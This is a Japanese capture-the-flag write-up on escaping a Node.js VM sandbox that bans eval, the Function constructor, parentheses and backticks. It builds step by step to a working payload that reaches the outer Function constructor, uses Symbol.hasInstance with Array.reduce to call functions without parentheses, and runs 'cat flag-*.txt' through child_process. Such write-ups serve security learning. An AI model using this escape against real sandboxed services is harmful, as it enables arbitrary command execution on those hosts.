CTF
English: https://hackmd.io/@n4o847/SkpurT4X6
eval
の呼び出しや関数コンストラクタ (Function
など) が禁止されている(
, )
, `
のいずれの文字も含まれてはいけないまず、this
はコンテキスト外で作られたオブジェクトを参照していることから、this.constructor.constructor
とすることで VM 外の Function
コンストラクタを得られることが知られています。
この VM 外の Function
の使用は codeGeneration: { strings: false }
の制約によって禁止されていない上に、外のグローバルオブジェクトにアクセスできます。
this.constructor.constructor("console.log(process)")()
次に、検索すると、括弧やバッククオートを使わない関数呼び出しで Node.js でも使えるものとして以下が出てきます。
x instanceof {[Symbol.hasInstance]: f}
これは
!!f.call({}, x)
// or simply
!!f(x)
と等価になります。
ここで、
f
の引数が 1 つしか与えられないことが問題となります。
これと Function
コンストラクタを組み合わせてうまく任意コード実行をしたいですが、Function(code)()
のように 2 回連続で呼び出す必要があり難しいです。
関数を呼び出した結果を再び得る方法として、Array.prototype.reduce
を使った以下の方法を考えます。
a = [x, y, z]
a[Symbol.hasInstance] = Array.prototype.reduce
f instanceof a
これは
a = [x, y, z]
!!a.reduce(f)
と等価になり、展開すると
a = [x, y, z]
f(f(x, y, 1, a), z, 2, a)
と等価になります。
f
が引数のどちらかをどちらかに適用するような関数だと良いです。
f = Array.from
としてみると
a = [x, y, z]
!!Array.from(Array.from(x, y, 1, a), z, 2, a)
となり、x
が配列であれば
!!x.map(y, 1).map(z, 2)
と等価になります。
さらに、x
が要素 1 つの配列であれば
!!z.call(2, y.call(1, x[0], 0), 1)
// or simply
!!z(y(x[0], 0), 1)
と等価になります。
y = Function
とすれば y(x[0], 0)
の結果が z
に渡されますが、余計な 2 番目の引数 0
が関数の本体として渡されています。
ですが、デフォルト引数を使えば Function
の引数部分にも任意の式を書くことができます。
f = Function("x = console.log(42)", "0")
f() // output: 42
よって
a = [["x = <code>"], this.constructor.constructor, _ => f = _]
a[Symbol.hasInstance] = Array.prototype.reduce
Array.from instanceof a
とすれば任意コードを実行する関数 f
が得られ、デフォルト引数が評価されるように呼び出せば
+{ valueOf: f }
で任意コードが実行できます。
c = "process.stdout.write\x28process.mainModule.require\x28'child_process'\x29.execSync\x28'cat flag-*.txt'\x29\x29"
a = [["x = " + c], this.constructor.constructor, _ => f = _]
a[Symbol.hasInstance] = Array.prototype.reduce
Array.from instanceof a
+{ valueOf: f }